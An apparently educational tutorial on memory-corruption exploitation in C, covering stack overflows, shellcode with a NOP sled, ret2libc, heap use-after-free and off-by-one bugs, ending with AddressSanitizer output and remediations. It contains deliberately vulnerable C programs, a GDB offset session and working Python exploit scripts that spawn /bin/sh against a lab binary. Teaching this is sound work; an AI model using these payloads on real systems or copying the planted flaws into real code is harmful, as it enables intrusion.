⚡ Von Neumann Architecture, Memory Safety & Control Flow Hijacking
At the lowest level of software execution, systems languages like C and C++ do not enforce boundary checks on memory arrays. Inheriting the Von Neumann Architecture—where executable CPU machine instructions and user-supplied data coexist within the exact same linear address space—compiled software is vulnerable to Memory Corruption Vulnerabilities. First formalized in Aleph One's 1996 Phrack paper "Smashing The Stack For Fun And Profit", a classic Stack Buffer Overflow occurs when an unbounded input function (such as strcpy, gets, or scanf) writes bytes past the allocated boundaries of a stack array buffer. These excess bytes overwrite adjacent frame pointers (EBP/RBP) and overwrite the Saved Instruction Pointer / Return Address (EIP/RIP). When the function returns, the CPU transfers execution control to an attacker-controlled address—jumping into an injected payload (Shellcode) or chaining existing shared library routines (Return-to-libc) to spawn a root shell.
LINUX PROCESS VIRTUAL ADDRESS SPACE (x86_32 / x86_64 ARCHITECTURE):
High Memory (0xFFFFFFFF / 0x7FFFFFFFFFFF)
┌───────────────────────────────────────────────────────────────────────────────────────────────┐
│ KERNEL SPACE (Restricted; inaccessible to user-mode code) │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ ENVIRONMENT VARIABLES & PROGRAM ARGUMENTS (envp, argv) │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ THE CALL STACK (Grows DOWNWARD from High Memory to Low Memory) │
│ ├── Stack Frames: Local variables, saved base pointers (EBP/RBP), saved return addresses │
│ └── Top of Stack pointed to by ESP / RSP register │
│ │ │
│ ▼ (Grows Downward) │
│ │
│ ▲ (Grows Upward via brk() / sbrk() / mmap()) │
│ │ │
│ THE HEAP (Dynamic memory allocated via malloc() and free()) │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ BSS SEGMENT (Block Started by Symbol: Uninitialized global/static variables; zeroed by OS) │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ DATA SEGMENT (Initialized global and static variables: int counter = 10;) │
├───────────────────────────────────────────────────────────────────────────────────────────────┤
│ TEXT SEGMENT (.text: Read-only compiled machine code instructions) │
└───────────────────────────────────────────────────────────────────────────────────────────────┘
Low Memory (0x08048000 / 0x00400000)
FUNCTION ACTIVATION RECORD (STACK FRAME ANATOMY):
When function `vuln(char *str)` is called:
Direction of Buffer Growth (Writing indices 0 ➔ N) ──► UPWARD TOWARD SAVED RET!
┌─────────────────────────┬───────────────────────┬───────────────────┬───────────────────┐
│ Local Buffer char[64] │ Padding / Alignment │ Saved Frame Ptr │ Saved Return Addr │
│ (Low Memory - ESP/RSP) │ (Compiler dependent) │ (Saved EBP / RBP) │ (Saved EIP / RIP) │
└─────────────────────────┴───────────────────────┴───────────────────┴───────────────────┘
◄─── Stack Pointer (ESP/RSP) Base Pointer (EBP) ──► Return to Caller!
strcpy() copies an unbounded source string into a fixed 64-byte stack buffer, overflowing memory, corrupting the base pointer, and crashing with a Segmentation Fault (SIGSEGV).
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Vulnerable function allocating 64 bytes on the stack
void vulnerable_function(char *user_input) {
char local_buffer[64];
printf("[*] local_buffer sits at address : %p\n", (void*)local_buffer);
// SECURITY FLAW: strcpy performs NO boundary checking!
// It continues reading from user_input until a null-byte (\x00) is hit.
// If user_input > 64 bytes, excess data overwrites adjacent memory!
strcpy(local_buffer, user_input);
printf("[+] Successfully processed: %s\n", local_buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <input_payload_string>\n", argv[0]);
exit(1);
}
printf("[*] Executing vulnerable routine in main()...\n");
vulnerable_function(argv[1]);
printf("[*] Returned cleanly to main() without crashes.\n");
return 0;
}
/*
COMPILATION FLAGS FOR LABORATORY DEMONSTRATION (NO PROTECTIONS):
$ gcc -m32 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
Explanation of flags:
-m32 : Compiles 32-bit x86 binary for simplified memory layout.
-fno-stack-protector : Disables GCC stack-smashing protection (Canaries).
-z execstack : Marks stack segment as READ, WRITE, and EXECUTE (Disables NX/DEP).
-no-pie : Disables Position Independent Executable (Static code addresses).
*/
pattern create and pattern offset to calculate the payload offset with precision.
GDB EXPLOIT RESEARCH & OFFSET CALCULATION SESSION:
$ gdb -q ./vuln
Reading symbols from ./vuln...done.
# Step 1: Generate a 120-byte non-repeating cyclic De Bruijn sequence
gdb-peda$ pattern create 120
'AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...'
# Step 2: Execute binary with generated pattern
gdb-peda$ run 'AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...'
Starting program: /home/sdet/vuln ...
[*] local_buffer sits at address : 0xffffd560
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd560 ("AAA%AAsA$AAnA:AA(A-A.A/A0A1A2A3A4A5A6A7A8A9BACBCCCDCECFBAABAA...")
EDX: 0xffffd5a8 ("AA4A5A6A7A8A9BACBCCCDCECFBAABAA...")
ESI: 0xffffd664 --> 0xffffd7dc ("/home/sdet/vuln")
EDI: 0xf7fa9000 --> 0x1ecc80
EBP: 0x41324131 ("1A2A")
EIP: 0x35413441 ("A4A5") <-- EIP OVERWRITTEN BY PATTERN SUBSTRING!
[------------------------------------------------------------------------------]
0x35413441 in ?? ()
# Step 3: Calculate exact offset of the 4 bytes that overwrote EIP
gdb-peda$ pattern offset 0x35413441
1161901121 found at offset: 76
# RESULT: The exact distance to overwrite the Saved Return Address is 76 bytes!
# Payload Architecture:
# [ 76 bytes of Padding / Shellcode ] + [ 4 bytes Target Return Address (New EIP) ]
execve(/bin/sh) shellcode, assembly register preparation without null bytes (\x00), NOP Sled (\x90) landing padding, and end-to-end exploit delivery in Python.
import sys
import struct
"""
CLASSICAL SHELLCODE ENGINEERING:
Goal: Execute syscall execve("/bin/sh", ["/bin/sh", NULL], NULL)
Constraints: NO NULL BYTES (\x00)! String functions like strcpy stop copying at \x00.
We generate nulls dynamically using XOR operations: xor edx, edx
x86 Linux Execve Shellcode (23 bytes):
\x31\xc0 xor eax, eax ; EAX = 0
\x50 push eax ; Push NULL string terminator onto stack
\x68\x2f\x2f\x73\x68 push 0x68732f2f ; Push "//sh"
\x68\x2f\x62\x69\x6e push 0x6e69622f ; Push "/bin"
\x89\xe3 mov ebx, esp ; EBX points to string "/bin//sh\0"
\x50 push eax ; Push NULL envp pointer
\x53 push ebx ; Push argv pointer to string
\x89\xe1 mov ecx, esp ; ECX points to argv array
\x99 cdq ; EDX = 0 (envp = NULL)
\xb0\x0b mov al, 11 ; Syscall 11 = __NR_execve
\xcd\x80 int 0x80 ; Execute kernel interrupt
"""
SHELLCODE_23B = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
)
TOTAL_OFFSET = 76
# Target address on stack: Middle of local_buffer (0xffffd560 + 20 bytes = 0xffffd574)
TARGET_RET_ADDR = 0xffffd574
# Step 1: Build NOP Sled (0x90 = No-Operation instruction)
# CPU slides down NOP instructions harmlessly until it hits the shellcode!
NOP_SLED_SIZE = 32
nop_sled = b"\x90" * NOP_SLED_SIZE
# Step 2: Calculate remaining padding after shellcode
padding_len = TOTAL_OFFSET - (len(nop_sled) + len(SHELLCODE_23B))
filler = b"A" * padding_len
# Step 3: Pack target return address in Little-Endian format
# 0xffffd574 -> \x74\xd5\xff\xff
packed_ret = struct.pack("<I", TARGET_RET_ADDR)
# Assemble final exploit payload
exploit_payload = nop_sled + SHELLCODE_23B + filler + packed_ret
print(f"[*] Payload Assembly Telemetry:")
print(f" ├── NOP Sled Length : {len(nop_sled)} bytes")
print(f" ├── Shellcode Length: {len(SHELLCODE_23B)} bytes")
print(f" ├── Padding Length : {len(filler)} bytes")
print(f" ├── Total to EIP : {len(nop_sled) + len(SHELLCODE_23B) + len(filler)} bytes (Must equal {TOTAL_OFFSET})")
print(f" └── Overwritten EIP : 0x{TARGET_RET_ADDR:08x} ({packed_ret.hex()})")
# Write raw payload to stdout for pipe delivery: ./vuln $(python3 exploit.py)
sys.stdout.buffer.write(exploit_payload)
system()) to execute commands.
THE RETURN-TO-LIBC (ret2libc) EXPLOIT MECHANICS:
WHEN NX / DEP IS ENABLED (STACK IS MARKED READ-ONLY / NO-EXECUTE):
If EIP points to any address on the stack, the CPU Memory Management Unit (MMU) generates
a hardware fault, terminating the process immediately with SIGSEGV!
THE RET2LIBC SOLUTION: "DON'T INJECT CODE; REUSE EXISTING CODE IN MEMORY!"
Every compiled C program dynamically links standard shared libraries (libc.so.6).
Libc already contains powerful functions like system("/bin/sh") and exit()!
ARTIFICIAL STACK FRAME CONSTRUCTED BY RET2LIBC OVERWRITE:
Direction of Overwrite ──►
┌───────────────────────┬───────────────────────────┬─────────────────┬─────────────────┐
│ Padding (76 bytes) │ Address of system() │ Address of │ Address of │
│ (Fills buffer + EBP) │ in libc │ exit() in libc │ "/bin/sh" string│
└───────────────────────┴───────────────────────────┴─────────────────┴─────────────────┘
[ 0 to 75 bytes ] [ Overwrites EIP! ] [ Clean Return ] [ Arg 1 for system│
Offset 76 Offset 80 Offset 84
EXECUTION STEP-BY-STEP:
1. Vulnerable function completes and executes the 'ret' instruction.
2. The CPU pops [Address of system()] off the stack into EIP.
3. The CPU jumps to system(). In the 32-bit cdecl calling convention, system() expects:
• ESP+0 : The Return Address to jump to after system() finishes (We put exit() here).
• ESP+4 : The First Parameter pointer (We put pointer to "/bin/sh" string here).
4. system("/bin/sh") executes and launches a shell!
5. When the user exits the shell, system() returns to exit(), shutting down cleanly with 0 crashes!
ret2libc exploit payload in Python. Dynamically extracts memory offsets for system(), exit(), and the /bin/sh string inside the target system's libc.so.6, and constructs the exploit stack layout.
import struct
import subprocess
class Ret2LibcExploitGenerator:
"""
Locates required libc offsets using standard Linux utilities (ldd, strings, gdb)
and constructs an artificial calling frame for system("/bin/sh").
"""
def __init__(self, target_binary: str, padding_offset: int):
self.binary = target_binary
self.offset = padding_offset
@staticmethod
def get_libc_base(binary_path: str) -> int:
# Inspect dynamically linked library base address via ldd
out = subprocess.check_output(["ldd", binary_path], text=True)
for line in out.splitlines():
if "libc.so" in line:
# Extracts base address (e.g. 0xf7d80000)
addr_str = line.split("(")[1].split(")")[0]
return int(addr_str, 16)
raise ValueError("Libc library link not found in binary!")
def build_payload(self, system_addr: int, exit_addr: int, bin_sh_addr: int) -> bytes:
# Step 1: Fill buffer up to the Saved Instruction Pointer (EIP)
padding = b"A" * self.offset
# Step 2: Overwrite EIP with system() function address
ret_system = struct.pack("<I", system_addr)
# Step 3: Fake return address after system() finishes (points to exit())
ret_exit = struct.pack("<I", exit_addr)
# Step 4: First argument to system() (points to string "/bin/sh\0" in libc)
arg_bin_sh = struct.pack("<I", bin_sh_addr)
# Final ret2libc payload chain
return padding + ret_system + ret_exit + arg_bin_sh
if __name__ == "__main__":
# Example addresses from GDB session with ASLR disabled
# gdb> p system -> 0xf7e14420
# gdb> p exit -> 0xf7e06f80
# gdb> find &system, +9999999, "/bin/sh" -> 0xf7f59d4c
SYSTEM_ADDR = 0xf7e14420
EXIT_ADDR = 0xf7e06f80
BIN_SH_ADDR = 0xf7f59d4c
generator = Ret2LibcExploitGenerator(target_binary="./vuln", padding_offset=76)
payload = generator.build_payload(SYSTEM_ADDR, EXIT_ADDR, BIN_SH_ADDR)
print("==========================================================================")
print(" RETURN-TO-LIBC (RET2LIBC) EXPLOIT GENERATOR")
print("==========================================================================")
print(f"[*] Target Function : system() @ 0x{SYSTEM_ADDR:08x}")
print(f"[*] Clean Teardown : exit() @ 0x{EXIT_ADDR:08x}")
print(f"[*] Argument String : /bin/sh @ 0x{BIN_SH_ADDR:08x}")
print(f"[*] Payload Size : {len(payload)} bytes")
print(f"[✔] Payload Hex Dump : {payload.hex()}")
chunk_header metadata), Use-After-Free (UAF), and Double Free exploits targeting glibc ptmalloc.
HEAP CHUNK ANATOMY & USE-AFTER-FREE (UAF) EXPLOITATION:
1. GLIBC PTMALLOC HEAP CHUNK METADATA STRUCTURE:
┌───────────────────────────────────────┬───────────────────────────────────────┐
│ prev_size (Size of previous chunk) │ size | A | M | P (Size + Flag bits) │
├───────────────────────────────────────┴───────────────────────────────────────┤
│ User Data Area (Returned by malloc(N) pointer) │
│ ... │
│ ... │
├───────────────────────────────────────────────────────────────────────────────┤
│ NEXT CHUNK METADATA: prev_size │ size | A | M | P │
└───────────────────────────────────────────────────────────────────────────────┘
• Heap Overflow: Overwriting past User Data corrupts the adjacent chunk's 'size' field!
When free() is called, ptmalloc executes unlink() macros using corrupted metadata pointers,
enabling arbitrary memory write primitives ("write-4-bytes-anywhere").
2. USE-AFTER-FREE (UAF) ATTACK LIFECYCLE:
Step 1: Application allocates an Object containing a Function Pointer in the heap:
struct UserSession *s = malloc(sizeof(struct UserSession));
s->print_welcome = &standard_welcome_function; // Function pointer @ Heap 0x55aa010
Step 2: Session is closed and memory is freed, BUT THE POINTER IS NOT NULLIFIED! (Dangling Pointer):
free(s); // Memory returned to glibc heap fastbins/tcache list; s STILL points to 0x55aa010!
Step 3: Attacker forces application to allocate a simple raw byte buffer of the EXACT SAME SIZE:
char *fake_data = malloc(sizeof(struct UserSession)); // Allocator re-uses the same address!
strcpy(fake_data, "\xef\xbe\xad\xde"); // Writes 0xdeadbeef over old function pointer!
Step 4: Application mistakenly invokes the dangling pointer:
s->print_welcome(); // Calls 0xdeadbeef!
RESULT: Direct instruction pointer control through heap reuse!
\x00) into the least significant byte of the Saved Base Pointer (EBP) shifts the caller's stack frame into attacker-controlled buffer memory.
#include <stdio.h>
#include <string.h>
// Classic Off-By-One boundary defect in loop condition (<= instead of <)
void read_user_name() {
char buffer[256];
int i;
// FLAW: Loops 257 times (index 0 to 256 inclusive)!
// buffer[256] sits exactly at the first byte of the Saved EBP register!
for (i = 0; i <= 256; i++) {
int c = getchar();
if (c == '\n' || c == EOF) break;
buffer[i] = (char)c;
}
buffer[i] = '\0'; // Writes a single NULL BYTE (\x00) into Saved EBP!
}
int main() {
printf("[*] Please enter your full name: ");
read_user_name();
printf("[*] Registration processed.\n");
return 0;
}
/*
HOW A SINGLE NULL BYTE HIJACKS EXECUTION:
1. When read_user_name() returns, the CPU restores the caller's EBP:
leave --> mov esp, ebp; pop ebp
2. Because the least significant byte of EBP was zeroed out:
Original EBP: 0xffffd5b8 ──► Modified EBP: 0xffffd500!
3. The caller function (main) now executes using an artificial, shifted stack frame
that lands directly inside the user-controlled 'buffer' memory!
4. When main() reaches its own 'ret' instruction, it reads the return address from
the fake stack frame, transferring control to attacker-supplied shellcode!
*/
-fsanitize=address) to catch buffer overflows, use-after-free, and stack corruption at runtime.
# ==============================================================================
# COMPILING WITH ADDRESS SANITIZER (ASan) FOR AUTOMATED DEFECT DETECTION
# GCC / Clang flag: -fsanitize=address -g
# ==============================================================================
$ gcc -fsanitize=address -g -O1 vuln.c -o vuln_asan
# Execute with payload triggering overflow
$ ./vuln_asan $(python3 -c 'print("A" * 80)')
# ==============================================================================
# ADDRESS SANITIZER RUNTIME DIAGNOSTIC CRASH DUMP:
# ==============================================================================
# =================================================================
# ==49102==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd5a10
# WRITE of size 81 at 0x7ffd5a10 thread T0
# #0 0x7f102a in strcpy (/lib/x86_64-linux-gnu/libasan.so.5+0x3b102)
# #1 0x555551 in vulnerable_function /home/sdet/vuln.c:13
# #2 0x555552 in main /home/sdet/vuln.c:23
#
# Address 0x7ffd5a10 is located in stack of thread T0 at offset 96 in frame:
# #0 0x555551 in vulnerable_function /home/sdet/vuln.c:8
#
# This frame has 1 object(s):
# [32, 96) 'local_buffer' <== Memory Access Violates Right Redzone!
# HINT: this may be a false positive if your program uses some custom stack unwind
# SUMMARY: AddressSanitizer: stack-buffer-overflow /home/sdet/vuln.c:13 in vulnerable_function
# =================================================================
MEMORY CORRUPTION & BUFFER OVERFLOW SPECIFICATION MATRIX:
┌─────────────────────────┬──────────────────────────────┬──────────────────┬───────────────────────────────┐
│ VULNERABILITY CLASS │ TYPICAL INSECURE C FUNCTIONS │ ABUSED PRIMITIVE │ PRIMARY EXPLOITATION OUTCOME │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Stack Buffer Overflow │ strcpy(), gets(), sprintf(), │ Saved Return │ Control Flow Hijack; executes │
│ (Stack Smashing) │ strcat(), scanf("%s") │ Address (EIP/RIP)│ injected shellcode / ret2libc │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Off-By-One │ Loop boundary <= checks, │ Saved Base │ Frame Faking: Shifts caller │
│ Overflow │ missing null-terminator room │ Pointer (EBP/RBP)│ stack frame into buffer space │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Heap Buffer Overflow │ malloc(), memcpy() without │ Heap Chunk │ Corrupts ptmalloc metadata; │
│ │ length verification │ Headers, Size bts│ Arbitrary 4-byte memory write │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Use-After-Free (UAF) │ free() without setting │ Dangling Heap │ Reallocates chunk; executes │
│ │ pointer to NULL │ Pointers │ attacker-controlled fn-ptr │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Double Free │ Calling free(ptr) twice on │ Fastbins / │ Corrupts tcache linked lists; │
│ │ identical heap pointer │ Tcache Bins │ returns duplicate chunk ptrs │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Format String Attack │ printf(user_input) │ Format Specifiers│ Arbitrary memory read (%x, %s)│
│ │ without format specifier │ %x, %s, %n │ Arbitrary memory write (%n) │
├─────────────────────────┼──────────────────────────────┼──────────────────┼───────────────────────────────┤
│ Integer Overflow │ Signed/Unsigned casts, │ Integer wrap │ Bypasses length check; causes │
│ │ int arithmetic wrap-around │ (0xFFFFFFFF + 1) │ undersized buffer allocation │
├─────────────────────────┴──────────────────────────────┴──────────────────┴───────────────────────────────┤
│ TOP 5 MEMORY SAFETY REMEDIATIONS: │
│ 1. Replace unbounded functions: Replace gets() with fgets(); replace strcpy() with snprintf(). │
│ 2. Nullify pointers after freeing: Execute 'free(ptr); ptr = NULL;' to eliminate Use-After-Free bugs. │
│ 3. Enable compiler mitigations: Compile with Stack Canaries (-fstack-protector-all) and ASLR/PIE. │
│ 4. Instrument with AddressSanitizer: Run CI unit test suites with -fsanitize=address enabled. │
│ 5. Adopt memory-safe languages: Transition safety-critical systems to Rust or Go. │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────┘